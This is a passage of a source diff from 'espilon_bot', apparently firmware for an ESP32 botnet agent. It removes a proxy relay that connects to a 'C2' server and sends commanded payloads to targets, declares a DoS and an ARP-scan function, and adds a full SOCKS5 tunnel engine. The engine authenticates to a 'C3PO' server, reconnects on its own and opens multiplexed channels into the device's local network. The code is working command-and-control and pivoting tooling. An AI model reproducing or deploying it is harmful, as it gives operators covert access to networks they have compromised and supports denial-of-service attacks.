|
||||
* Helpers
|
||||
* ============================================================ */
|
||||
|
||||
/* Replace escaped \r \n */
|
||||
static void unescape_payload(const char *src, char *dst, size_t max_len)
|
||||
{
|
||||
size_t i = 0, j = 0;
|
||||
while (src[i] && j < max_len - 1) {
|
||||
if (src[i] == '\\' && src[i + 1] == 'r') {
|
||||
dst[j++] = '\r';
|
||||
i += 2;
|
||||
} else if (src[i] == '\\' && src[i + 1] == 'n') {
|
||||
dst[j++] = '\n';
|
||||
i += 2;
|
||||
} else {
|
||||
dst[j++] = src[i++];
|
||||
}
|
||||
}
|
||||
dst[j] = '\0';
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Proxy command handler task
|
||||
* ============================================================ */
|
||||
|
||||
static void proxy_task(void *arg)
|
||||
{
|
||||
(void)arg;
|
||||
|
||||
char cmd[CMD_BUF_SIZE];
|
||||
|
||||
msg_info(TAG, "proxy handler started", NULL);
|
||||
|
||||
while (proxy_running) {
|
||||
|
||||
int len = recv(cc_client, cmd, sizeof(cmd) - 1, 0);
|
||||
if (len <= 0) {
|
||||
msg_error(TAG, "connection closed", NULL);
|
||||
break;
|
||||
}
|
||||
cmd[len] = '\0';
|
||||
|
||||
/* Format: ip:port|payload */
|
||||
char *sep_ip = strchr(cmd, ':');
|
||||
char *sep_pay = strchr(cmd, '|');
|
||||
|
||||
if (!sep_ip || !sep_pay || sep_pay <= sep_ip) {
|
||||
msg_error(TAG, "invalid command format", NULL);
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Extract IP */
|
||||
char ip[64];
|
||||
size_t ip_len = sep_ip - cmd;
|
||||
if (ip_len >= sizeof(ip)) {
|
||||
msg_error(TAG, "ip too long", NULL);
|
||||
continue;
|
||||
}
|
||||
memcpy(ip, cmd, ip_len);
|
||||
ip[ip_len] = '\0';
|
||||
|
||||
/* Extract port */
|
||||
int port = atoi(sep_ip + 1);
|
||||
if (port <= 0 || port > 65535) {
|
||||
msg_error(TAG, "invalid port", NULL);
|
||||
continue;
|
||||
}
|
||||
|
||||
const char *payload_escaped = sep_pay + 1;
|
||||
|
||||
char info_msg[96];
|
||||
snprintf(info_msg, sizeof(info_msg),
|
||||
"proxying to %s:%d", ip, port);
|
||||
msg_info(TAG, info_msg, NULL);
|
||||
|
||||
/* Destination socket */
|
||||
int dst = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
|
||||
if (dst < 0) {
|
||||
msg_error(TAG, "socket failed", NULL);
|
||||
continue;
|
||||
}
|
||||
|
||||
struct sockaddr_in addr = {
|
||||
.sin_family = AF_INET,
|
||||
.sin_port = htons(port),
|
||||
.sin_addr.s_addr = inet_addr(ip),
|
||||
};
|
||||
|
||||
struct timeval timeout = { .tv_sec = 5, .tv_usec = 0 };
|
||||
setsockopt(dst, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout));
|
||||
setsockopt(dst, SOL_SOCKET, SO_SNDTIMEO, &timeout, sizeof(timeout));
|
||||
|
||||
if (connect(dst, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
|
||||
msg_error(TAG, "connect failed", NULL);
|
||||
close(dst);
|
||||
continue;
|
||||
}
|
||||
|
||||
/* Send payload */
|
||||
char payload[RX_BUF_SIZE];
|
||||
unescape_payload(payload_escaped, payload, sizeof(payload));
|
||||
send(dst, payload, strlen(payload), 0);
|
||||
|
||||
/* Receive response (stream) */
|
||||
char rx[RX_BUF_SIZE];
|
||||
while ((len = recv(dst, rx, sizeof(rx), 0)) > 0) {
|
||||
msg_data(TAG, rx, len, false, NULL);
|
||||
}
|
||||
|
||||
/* End of stream */
|
||||
msg_data(TAG, NULL, 0, true, NULL);
|
||||
|
||||
close(dst);
|
||||
}
|
||||
|
||||
close(cc_client);
|
||||
cc_client = -1;
|
||||
proxy_running = 0;
|
||||
|
||||
msg_info(TAG, "proxy stopped", NULL);
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
|
||||
void init_proxy(char *ip, int port)
|
||||
{
|
||||
struct sockaddr_in server = {
|
||||
.sin_family = AF_INET,
|
||||
.sin_port = htons(port),
|
||||
.sin_addr.s_addr = inet_addr(ip),
|
||||
};
|
||||
|
||||
for (int retry = 0; retry < MAX_PROXY_RETRY; retry++) {
|
||||
|
||||
cc_client = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
|
||||
if (cc_client < 0) {
|
||||
vTaskDelay(pdMS_TO_TICKS(RETRY_DELAY_MS));
|
||||
continue;
|
||||
}
|
||||
|
||||
msg_info(TAG, "connecting to C2...", NULL);
|
||||
|
||||
if (connect(cc_client,
|
||||
(struct sockaddr *)&server,
|
||||
sizeof(server)) == 0) {
|
||||
|
||||
proxy_running = 1;
|
||||
xTaskCreate(
|
||||
proxy_task,
|
||||
"proxy_task",
|
||||
8192,
|
||||
NULL,
|
||||
5,
|
||||
NULL
|
||||
);
|
||||
return;
|
||||
}
|
||||
|
||||
close(cc_client);
|
||||
vTaskDelay(pdMS_TO_TICKS(RETRY_DELAY_MS));
|
||||
}
|
||||
|
||||
msg_error(TAG, "unable to connect to C2", NULL);
|
||||
}
|
||||
|
||||
@ -1,3 +1,5 @@
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
// dos.c
|
||||
void start_dos(const char *t_ip, uint16_t t_port, int turn);
|
||||
@ -6,7 +8,4 @@ void start_dos(const char *t_ip, uint16_t t_port, int turn);
|
||||
void arp_scan_task(void *pvParameters);
|
||||
|
||||
// ping.c
|
||||
int do_ping_cmd(int argc, char **argv);
|
||||
|
||||
// proxy.c
|
||||
void init_proxy(char *ip, int port);
|
||||
int do_ping_cmd(int argc, char **argv, const char *req);
|
||||
|
||||
795
espilon_bot/components/mod_network/tun_core.c
Normal file
795
espilon_bot/components/mod_network/tun_core.c
Normal file
@ -0,0 +1,795 @@
|
||||
/*
|
||||
* tun_core.c – SOCKS5 Tunnel Engine
|
||||
* Multiplexed binary-framed TCP proxy via C3PO.
|
||||
* Replaces the old mod_proxy single-shot relay.
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <errno.h>
|
||||
#include <unistd.h>
|
||||
#include <fcntl.h>
|
||||
|
||||
#include <sys/socket.h>
|
||||
#include <sys/select.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <netdb.h>
|
||||
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "esp_log.h"
|
||||
#include "esp_random.h"
|
||||
|
||||
#include "utils.h"
|
||||
#include "tun_core.h"
|
||||
|
||||
#define TAG "TUNNEL"
|
||||
|
||||
/* ============================================================
|
||||
* Global state
|
||||
* ============================================================ */
|
||||
|
||||
static tun_state_t g_tun = {
|
||||
.running = false,
|
||||
.encrypted = false,
|
||||
.c3po_sock = -1,
|
||||
.rx_buf_len = 0,
|
||||
.task_handle = NULL,
|
||||
.last_ping_tick = 0,
|
||||
};
|
||||
|
||||
/* ============================================================
|
||||
* Socket helpers
|
||||
* ============================================================ */
|
||||
|
||||
static bool send_all(int sock, const void *buf, size_t len)
|
||||
{
|
||||
const uint8_t *p = (const uint8_t *)buf;
|
||||
while (len > 0) {
|
||||
int sent = send(sock, p, len, 0);
|
||||
if (sent <= 0) return false;
|
||||
p += sent;
|
||||
len -= sent;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static int recv_exact(int sock, void *buf, size_t len, int timeout_s)
|
||||
{
|
||||
struct timeval tv = { .tv_sec = timeout_s, .tv_usec = 0 };
|
||||
setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
|
||||
|
||||
uint8_t *p = (uint8_t *)buf;
|
||||
size_t remaining = len;
|
||||
while (remaining > 0) {
|
||||
int n = recv(sock, p, remaining, 0);
|
||||
if (n <= 0) return -1;
|
||||
p += n;
|
||||
remaining -= n;
|
||||
}
|
||||
return (int)len;
|
||||
}
|
||||
|
||||
static bool set_nonblocking(int sock)
|
||||
{
|
||||
int flags = fcntl(sock, F_GETFL, 0);
|
||||
if (flags < 0) return false;
|
||||
return fcntl(sock, F_SETFL, flags | O_NONBLOCK) == 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Frame I/O
|
||||
* ============================================================ */
|
||||
|
||||
static bool tun_send_frame(uint16_t chan_id, tun_frame_type_t type,
|
||||
const uint8_t *data, uint16_t data_len)
|
||||
{
|
||||
if (g_tun.c3po_sock < 0) return false;
|
||||
|
||||
uint8_t hdr[TUN_FRAME_HDR_SIZE];
|
||||
hdr[0] = (chan_id >> 8) & 0xFF;
|
||||
hdr[1] = chan_id & 0xFF;
|
||||
hdr[2] = (uint8_t)type;
|
||||
hdr[3] = (data_len >> 8) & 0xFF;
|
||||
hdr[4] = data_len & 0xFF;
|
||||
|
||||
#ifdef CONFIG_TUNNEL_ENCRYPT
|
||||
if (g_tun.encrypted) {
|
||||
/* Assemble plaintext frame */
|
||||
uint8_t plain[TUN_FRAME_MAX_PLAIN];
|
||||
memcpy(plain, hdr, TUN_FRAME_HDR_SIZE);
|
||||
if (data && data_len > 0) {
|
||||
memcpy(plain + TUN_FRAME_HDR_SIZE, data, data_len);
|
||||
}
|
||||
size_t plain_len = TUN_FRAME_HDR_SIZE + data_len;
|
||||
|
||||
/* Encrypt: nonce[12] || ciphertext || tag[16] */
|
||||
uint8_t enc[TUN_FRAME_MAX_ENC];
|
||||
int enc_len = crypto_encrypt(plain, plain_len,
|
||||
enc + 2, sizeof(enc) - 2);
|
||||
if (enc_len < 0) {
|
||||
ESP_LOGE(TAG, "frame encrypt failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Prepend 2-byte length */
|
||||
enc[0] = (enc_len >> 8) & 0xFF;
|
||||
enc[1] = enc_len & 0xFF;
|
||||
|
||||
return send_all(g_tun.c3po_sock, enc, 2 + enc_len);
|
||||
}
|
||||
#endif
|
||||
|
||||
/* Plaintext: header + data */
|
||||
if (!send_all(g_tun.c3po_sock, hdr, TUN_FRAME_HDR_SIZE))
|
||||
return false;
|
||||
if (data && data_len > 0) {
|
||||
if (!send_all(g_tun.c3po_sock, data, data_len))
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Returns 0 on success, -1 on error, 1 if no complete frame yet */
|
||||
static int tun_read_frame(uint16_t *out_chan, tun_frame_type_t *out_type,
|
||||
uint8_t *out_data, uint16_t *out_len)
|
||||
{
|
||||
#ifdef CONFIG_TUNNEL_ENCRYPT
|
||||
if (g_tun.encrypted) {
|
||||
/* Need at least 2 bytes for length prefix */
|
||||
if (g_tun.rx_buf_len < 2) return 1;
|
||||
|
||||
uint16_t enc_len = ((uint16_t)g_tun.rx_buf[0] << 8) | g_tun.rx_buf[1];
|
||||
if (enc_len > TUN_FRAME_MAX_PLAIN + TUN_CRYPTO_OVERHEAD) return -1;
|
||||
|
||||
size_t total = 2 + enc_len;
|
||||
if (g_tun.rx_buf_len < total) return 1;
|
||||
|
||||
/* Decrypt */
|
||||
uint8_t plain[TUN_FRAME_MAX_PLAIN];
|
||||
int plain_len = crypto_decrypt(g_tun.rx_buf + 2, enc_len,
|
||||
plain, sizeof(plain));
|
||||
if (plain_len < TUN_FRAME_HDR_SIZE) {
|
||||
/* Consume and discard bad frame */
|
||||
g_tun.rx_buf_len -= total;
|
||||
if (g_tun.rx_buf_len > 0)
|
||||
memmove(g_tun.rx_buf, g_tun.rx_buf + total, g_tun.rx_buf_len);
|
||||
return -1;
|
||||
}
|
||||
|
||||
*out_chan = ((uint16_t)plain[0] << 8) | plain[1];
|
||||
*out_type = (tun_frame_type_t)plain[2];
|
||||
*out_len = ((uint16_t)plain[3] << 8) | plain[4];
|
||||
|
||||
if (*out_len > (uint16_t)(plain_len - TUN_FRAME_HDR_SIZE))
|
||||
*out_len = (uint16_t)(plain_len - TUN_FRAME_HDR_SIZE);
|
||||
|
||||
if (*out_len > 0)
|
||||
memcpy(out_data, plain + TUN_FRAME_HDR_SIZE, *out_len);
|
||||
|
||||
g_tun.rx_buf_len -= total;
|
||||
if (g_tun.rx_buf_len > 0)
|
||||
memmove(g_tun.rx_buf, g_tun.rx_buf + total, g_tun.rx_buf_len);
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* Plaintext: need at least 5-byte header */
|
||||
if (g_tun.rx_buf_len < TUN_FRAME_HDR_SIZE) return 1;
|
||||
|
||||
*out_chan = ((uint16_t)g_tun.rx_buf[0] << 8) | g_tun.rx_buf[1];
|
||||
*out_type = (tun_frame_type_t)g_tun.rx_buf[2];
|
||||
*out_len = ((uint16_t)g_tun.rx_buf[3] << 8) | g_tun.rx_buf[4];
|
||||
|
||||
if (*out_len > TUN_FRAME_MAX_DATA) return -1;
|
||||
|
||||
size_t total = TUN_FRAME_HDR_SIZE + *out_len;
|
||||
if (g_tun.rx_buf_len < total) return 1;
|
||||
|
||||
if (*out_len > 0)
|
||||
memcpy(out_data, g_tun.rx_buf + TUN_FRAME_HDR_SIZE, *out_len);
|
||||
|
||||
g_tun.rx_buf_len -= total;
|
||||
if (g_tun.rx_buf_len > 0)
|
||||
memmove(g_tun.rx_buf, g_tun.rx_buf + total, g_tun.rx_buf_len);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Channel management
|
||||
* ============================================================ */
|
||||
|
||||
static tun_channel_t *chan_get(uint16_t id)
|
||||
{
|
||||
if (id == 0 || id > TUN_MAX_CHANNELS) return NULL;
|
||||
return &g_tun.channels[id - 1];
|
||||
}
|
||||
|
||||
static void chan_close(uint16_t id, uint8_t reason)
|
||||
{
|
||||
tun_channel_t *ch = chan_get(id);
|
||||
if (!ch || ch->state == CHAN_FREE) return;
|
||||
|
||||
if (ch->sock >= 0) {
|
||||
close(ch->sock);
|
||||
ch->sock = -1;
|
||||
}
|
||||
|
||||
/* Notify C3PO */
|
||||
tun_send_frame(id, TUN_FRAME_CLOSE, &reason, 1);
|
||||
|
||||
ESP_LOGI(TAG, "chan %u closed (reason=%u tx=%"PRIu32" rx=%"PRIu32")",
|
||||
id, reason, ch->bytes_tx, ch->bytes_rx);
|
||||
|
||||
ch->state = CHAN_FREE;
|
||||
ch->bytes_tx = 0;
|
||||
ch->bytes_rx = 0;
|
||||
}
|
||||
|
||||
static void chan_close_all(void)
|
||||
{
|
||||
for (uint16_t i = 1; i <= TUN_MAX_CHANNELS; i++) {
|
||||
tun_channel_t *ch = chan_get(i);
|
||||
if (ch && ch->state != CHAN_FREE) {
|
||||
if (ch->sock >= 0) {
|
||||
close(ch->sock);
|
||||
ch->sock = -1;
|
||||
}
|
||||
ch->state = CHAN_FREE;
|
||||
ch->bytes_tx = 0;
|
||||
ch->bytes_rx = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void chan_send_error(uint16_t id, const char *msg)
|
||||
{
|
||||
tun_send_frame(id, TUN_FRAME_ERROR,
|
||||
(const uint8_t *)msg, (uint16_t)strlen(msg));
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Frame handlers
|
||||
* ============================================================ */
|
||||
|
||||
/* OPEN payload: [IPv4:4][port:2][domain_len:1][domain:0-255] */
|
||||
static void tun_handle_open(uint16_t chan_id, const uint8_t *data, uint16_t len)
|
||||
{
|
||||
tun_channel_t *ch = chan_get(chan_id);
|
||||
if (!ch) {
|
||||
chan_send_error(chan_id, "invalid channel id");
|
||||
return;
|
||||
}
|
||||
if (ch->state != CHAN_FREE) {
|
||||
chan_send_error(chan_id, "channel in use");
|
||||
return;
|
||||
}
|
||||
if (len < 7) {
|
||||
chan_send_error(chan_id, "OPEN too short");
|
||||
return;
|
||||
}
|
||||
|
||||
/* Parse target address */
|
||||
uint32_t ipv4_raw;
|
||||
memcpy(&ipv4_raw, data, 4);
|
||||
uint16_t port = ((uint16_t)data[4] << 8) | data[5];
|
||||
uint8_t domain_len = data[6];
|
||||
|
||||
struct sockaddr_in target = {
|
||||
.sin_family = AF_INET,
|
||||
.sin_port = htons(port),
|
||||
};
|
||||
|
||||
/* Try domain resolution first (ESP32-side, sees target network DNS) */
|
||||
if (domain_len > 0 && len >= (uint16_t)(7 + domain_len)) {
|
||||
char domain[256];
|
||||
memcpy(domain, data + 7, domain_len);
|
||||
domain[domain_len] = '\0';
|
||||
|
||||
struct addrinfo hints = { .ai_family = AF_INET, .ai_socktype = SOCK_STREAM };
|
||||
struct addrinfo *result = NULL;
|
||||
|
||||
ESP_LOGD(TAG, "chan %u resolving %s", chan_id, domain);
|
||||
|
||||
if (getaddrinfo(domain, NULL, &hints, &result) == 0 && result) {
|
||||
struct sockaddr_in *addr = (struct sockaddr_in *)result->ai_addr;
|
||||
target.sin_addr = addr->sin_addr;
|
||||
freeaddrinfo(result);
|
||||
} else {
|
||||
if (result) freeaddrinfo(result);
|
||||
/* Fallback to provided IPv4 */
|
||||
target.sin_addr.s_addr = ipv4_raw;
|
||||
}
|
||||
} else {
|
||||
target.sin_addr.s_addr = ipv4_raw;
|
||||
}
|
||||
|
||||
/* Create socket and start non-blocking connect */
|
||||
int s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
|
||||
if (s < 0) {
|
||||
chan_send_error(chan_id, "socket() failed");
|
||||
return;
|
||||
}
|
||||
|
||||
/* Set connect timeout */
|
||||
struct timeval tv = { .tv_sec = TUN_CONNECT_TIMEOUT_S, .tv_usec = 0 };
|
||||
setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
|
||||
setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
|
||||
|
||||
char ip_str[INET_ADDRSTRLEN];
|
||||
inet_ntop(AF_INET, &target.sin_addr, ip_str, sizeof(ip_str));
|
||||
ESP_LOGI(TAG, "chan %u connecting to %s:%u", chan_id, ip_str, port);
|
||||
|
||||
if (connect(s, (struct sockaddr *)&target, sizeof(target)) != 0) {
|
||||
ESP_LOGW(TAG, "chan %u connect failed: %s", chan_id, strerror(errno));
|
||||
close(s);
|
||||
chan_send_error(chan_id, "connect failed");
|
||||
return;
|
||||
}
|
||||
|
||||
/* Set non-blocking after connect succeeds */
|
||||
set_nonblocking(s);
|
||||
|
||||
ch->sock = s;
|
||||
ch->state = CHAN_OPEN;
|
||||
ch->bytes_tx = 0;
|
||||
ch->bytes_rx = 0;
|
||||
|
||||
/* Send OPEN_OK */
|
||||
tun_send_frame(chan_id, TUN_FRAME_OPEN_OK, NULL, 0);
|
||||
ESP_LOGI(TAG, "chan %u opened -> %s:%u", chan_id, ip_str, port);
|
||||
}
|
||||
|
||||
static void tun_handle_data(uint16_t chan_id, const uint8_t *data, uint16_t len)
|
||||
{
|
||||
tun_channel_t *ch = chan_get(chan_id);
|
||||
if (!ch || ch->state != CHAN_OPEN || ch->sock < 0) return;
|
||||
|
||||
/* Temporarily set blocking for reliable send */
|
||||
int flags = fcntl(ch->sock, F_GETFL, 0);
|
||||
fcntl(ch->sock, F_SETFL, flags & ~O_NONBLOCK);
|
||||
|
||||
struct timeval tv = { .tv_sec = 5, .tv_usec = 0 };
|
||||
setsockopt(ch->sock, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
|
||||
|
||||
const uint8_t *p = data;
|
||||
size_t remaining = len;
|
||||
while (remaining > 0) {
|
||||
int sent = send(ch->sock, p, remaining, 0);
|
||||
if (sent <= 0) {
|
||||
ESP_LOGW(TAG, "chan %u send error", chan_id);
|
||||
chan_close(chan_id, TUN_CLOSE_RESET);
|
||||
return;
|
||||
}
|
||||
p += sent;
|
||||
remaining -= sent;
|
||||
}
|
||||
ch->bytes_tx += len;
|
||||
|
||||
/* Restore non-blocking */
|
||||
fcntl(ch->sock, F_SETFL, flags);
|
||||
}
|
||||
|
||||
static void tun_handle_close(uint16_t chan_id)
|
||||
{
|
||||
tun_channel_t *ch = chan_get(chan_id);
|
||||
if (!ch || ch->state == CHAN_FREE) return;
|
||||
|
||||
if (ch->sock >= 0) {
|
||||
close(ch->sock);
|
||||
ch->sock = -1;
|
||||
}
|
||||
ESP_LOGI(TAG, "chan %u closed by C3PO (tx=%"PRIu32" rx=%"PRIu32")",
|
||||
chan_id, ch->bytes_tx, ch->bytes_rx);
|
||||
ch->state = CHAN_FREE;
|
||||
ch->bytes_tx = 0;
|
||||
ch->bytes_rx = 0;
|
||||
}
|
||||
|
||||
static void tun_handle_ping(const uint8_t *data, uint16_t len)
|
||||
{
|
||||
/* Echo back as PONG on channel 0 (control) */
|
||||
tun_send_frame(0, TUN_FRAME_PONG, data, len);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Authentication
|
||||
* ============================================================ */
|
||||
|
||||
static bool tun_authenticate(int sock)
|
||||
{
|
||||
/*
|
||||
* Send: magic[4] + flags[1] + device_id_len[1] + device_id[N]
|
||||
* + encrypted("espilon-tunnel-v1")
|
||||
*
|
||||
* Encrypted token = nonce[12] + ciphertext[17] + tag[16] = 45 bytes
|
||||
* C3PO verifies by decrypting with the device's derived key.
|
||||
*/
|
||||
|
||||
const char *dev_id = CONFIG_DEVICE_ID;
|
||||
size_t id_len = strlen(dev_id);
|
||||
|
||||
/* Encrypt auth token */
|
||||
uint8_t enc_token[TUN_AUTH_TOKEN_LEN + TUN_CRYPTO_OVERHEAD];
|
||||
int enc_len = crypto_encrypt(
|
||||
(const uint8_t *)TUN_AUTH_TOKEN, TUN_AUTH_TOKEN_LEN,
|
||||
enc_token, sizeof(enc_token)
|
||||
);
|
||||
if (enc_len < 0) {
|
||||
ESP_LOGE(TAG, "auth token encrypt failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Build handshake: magic + flags + id_len + id + encrypted_token */
|
||||
uint8_t flags = 0;
|
||||
#ifdef CONFIG_TUNNEL_ENCRYPT
|
||||
flags |= 0x01; /* Request AEAD mode */
|
||||
#endif
|
||||
|
||||
size_t total = TUN_MAGIC_LEN + 1 + 1 + id_len + enc_len;
|
||||
uint8_t *pkt = malloc(total);
|
||||
if (!pkt) return false;
|
||||
|
||||
size_t off = 0;
|
||||
memcpy(pkt + off, TUN_MAGIC, TUN_MAGIC_LEN); off += TUN_MAGIC_LEN;
|
||||
pkt[off++] = flags;
|
||||
pkt[off++] = (uint8_t)id_len;
|
||||
memcpy(pkt + off, dev_id, id_len); off += id_len;
|
||||
memcpy(pkt + off, enc_token, enc_len);
|
||||
|
||||
bool ok = send_all(sock, pkt, total);
|
||||
free(pkt);
|
||||
|
||||
if (!ok) {
|
||||
ESP_LOGE(TAG, "auth handshake send failed");
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Wait for response: 1 byte (0x00 = OK, 0x01 = FAILED) */
|
||||
uint8_t resp;
|
||||
if (recv_exact(sock, &resp, 1, TUN_CONNECT_TIMEOUT_S) < 0) {
|
||||
ESP_LOGE(TAG, "auth response timeout");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (resp != 0x00) {
|
||||
ESP_LOGE(TAG, "auth rejected (0x%02x)", resp);
|
||||
return false;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "authenticated (flags=0x%02x)", flags);
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Main select() loop
|
||||
* ============================================================ */
|
||||
|
||||
static void tun_dispatch_frames(void)
|
||||
{
|
||||
uint16_t chan_id;
|
||||
tun_frame_type_t type;
|
||||
uint8_t frame_data[TUN_FRAME_MAX_DATA];
|
||||
uint16_t frame_len;
|
||||
|
||||
while (true) {
|
||||
int rc = tun_read_frame(&chan_id, &type, frame_data, &frame_len);
|
||||
if (rc == 1) break; /* Incomplete frame, need more data */
|
||||
if (rc == -1) {
|
||||
ESP_LOGW(TAG, "bad frame, skipping");
|
||||
continue;
|
||||
}
|
||||
|
||||
switch (type) {
|
||||
case TUN_FRAME_OPEN:
|
||||
tun_handle_open(chan_id, frame_data, frame_len);
|
||||
break;
|
||||
case TUN_FRAME_DATA:
|
||||
tun_handle_data(chan_id, frame_data, frame_len);
|
||||
break;
|
||||
case TUN_FRAME_CLOSE:
|
||||
tun_handle_close(chan_id);
|
||||
break;
|
||||
case TUN_FRAME_PING:
|
||||
tun_handle_ping(frame_data, frame_len);
|
||||
break;
|
||||
case TUN_FRAME_PONG:
|
||||
/* Received pong, tunnel is alive - nothing to do */
|
||||
break;
|
||||
default:
|
||||
ESP_LOGW(TAG, "unknown frame type 0x%02x", type);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Connect + authenticate to C3PO tunnel server. Returns socket or -1. */
|
||||
static int tun_connect_and_auth(void)
|
||||
{
|
||||
struct sockaddr_in server = {
|
||||
.sin_family = AF_INET,
|
||||
.sin_port = htons(g_tun.c3po_port),
|
||||
.sin_addr.s_addr = inet_addr(g_tun.c3po_ip),
|
||||
};
|
||||
|
||||
int s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
|
||||
if (s < 0) return -1;
|
||||
|
||||
struct timeval tv = { .tv_sec = TUN_CONNECT_TIMEOUT_S, .tv_usec = 0 };
|
||||
setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
|
||||
|
||||
if (connect(s, (struct sockaddr *)&server, sizeof(server)) != 0) {
|
||||
close(s);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (!tun_authenticate(s)) {
|
||||
close(s);
|
||||
return -1;
|
||||
}
|
||||
|
||||
return s;
|
||||
}
|
||||
|
||||
/* Run the select() loop until C3PO connection drops or tun_stop() called. */
|
||||
static void tun_select_loop(void)
|
||||
{
|
||||
uint8_t data_buf[TUN_FRAME_MAX_DATA];
|
||||
g_tun.last_ping_tick = xTaskGetTickCount();
|
||||
|
||||
while (g_tun.running) {
|
||||
fd_set read_fds;
|
||||
FD_ZERO(&read_fds);
|
||||
|
||||
int max_fd = g_tun.c3po_sock;
|
||||
FD_SET(g_tun.c3po_sock, &read_fds);
|
||||
|
||||
/* Add all open channel sockets */
|
||||
for (uint16_t i = 1; i <= TUN_MAX_CHANNELS; i++) {
|
||||
tun_channel_t *ch = chan_get(i);
|
||||
if (ch && ch->state == CHAN_OPEN && ch->sock >= 0) {
|
||||
FD_SET(ch->sock, &read_fds);
|
||||
if (ch->sock > max_fd) max_fd = ch->sock;
|
||||
}
|
||||
}
|
||||
|
||||
struct timeval tv = {
|
||||
.tv_sec = 0,
|
||||
.tv_usec = TUN_SELECT_TIMEOUT_MS * 1000,
|
||||
};
|
||||
|
||||
int ready = select(max_fd + 1, &read_fds, NULL, NULL, &tv);
|
||||
|
||||
if (ready < 0) {
|
||||
if (errno == EINTR) continue;
|
||||
ESP_LOGE(TAG, "select() error: %s", strerror(errno));
|
||||
break;
|
||||
}
|
||||
|
||||
/* Read from C3PO tunnel socket */
|
||||
if (ready > 0 && FD_ISSET(g_tun.c3po_sock, &read_fds)) {
|
||||
size_t space = sizeof(g_tun.rx_buf) - g_tun.rx_buf_len;
|
||||
if (space > 0) {
|
||||
int n = recv(g_tun.c3po_sock,
|
||||
g_tun.rx_buf + g_tun.rx_buf_len,
|
||||
space, 0);
|
||||
if (n <= 0) {
|
||||
ESP_LOGW(TAG, "C3PO connection lost");
|
||||
return; /* Break to reconnect loop */
|
||||
}
|
||||
g_tun.rx_buf_len += n;
|
||||
}
|
||||
|
||||
tun_dispatch_frames();
|
||||
}
|
||||
|
||||
/* Read from channel sockets, forward to C3PO */
|
||||
if (ready > 0) {
|
||||
for (uint16_t i = 1; i <= TUN_MAX_CHANNELS; i++) {
|
||||
tun_channel_t *ch = chan_get(i);
|
||||
if (!ch || ch->state != CHAN_OPEN || ch->sock < 0) continue;
|
||||
if (!FD_ISSET(ch->sock, &read_fds)) continue;
|
||||
|
||||
int n = recv(ch->sock, data_buf, sizeof(data_buf), 0);
|
||||
if (n > 0) {
|
||||
ch->bytes_rx += n;
|
||||
if (!tun_send_frame(i, TUN_FRAME_DATA, data_buf, (uint16_t)n)) {
|
||||
ESP_LOGW(TAG, "C3PO send failed");
|
||||
return; /* Break to reconnect loop */
|
||||
}
|
||||
} else if (n == 0) {
|
||||
/* Target closed connection */
|
||||
chan_close(i, TUN_CLOSE_NORMAL);
|
||||
} else {
|
||||
if (errno != EAGAIN && errno != EWOULDBLOCK) {
|
||||
chan_close(i, TUN_CLOSE_RESET);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Periodic PING keepalive */
|
||||
uint32_t now = xTaskGetTickCount();
|
||||
if ((now - g_tun.last_ping_tick) >=
|
||||
pdMS_TO_TICKS(TUN_PING_INTERVAL_S * 1000)) {
|
||||
|
||||
uint32_t ts = (uint32_t)(now / portTICK_PERIOD_MS);
|
||||
uint8_t ts_buf[4];
|
||||
ts_buf[0] = (ts >> 24) & 0xFF;
|
||||
ts_buf[1] = (ts >> 16) & 0xFF;
|
||||
ts_buf[2] = (ts >> 8) & 0xFF;
|
||||
ts_buf[3] = ts & 0xFF;
|
||||
tun_send_frame(0, TUN_FRAME_PING, ts_buf, 4);
|
||||
g_tun.last_ping_tick = now;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
static void tun_task(void *arg)
|
||||
{
|
||||
const char *req_id = (const char *)arg;
|
||||
|
||||
msg_info(TAG, "tunnel connected", req_id);
|
||||
|
||||
uint32_t backoff_ms = TUN_RECONNECT_MIN_MS;
|
||||
|
||||
/* Outer reconnect loop */
|
||||
while (g_tun.running) {
|
||||
/* Run until connection drops or tun_stop() */
|
||||
tun_select_loop();
|
||||
|
||||
/* Cleanup after disconnect */
|
||||
chan_close_all();
|
||||
if (g_tun.c3po_sock >= 0) {
|
||||
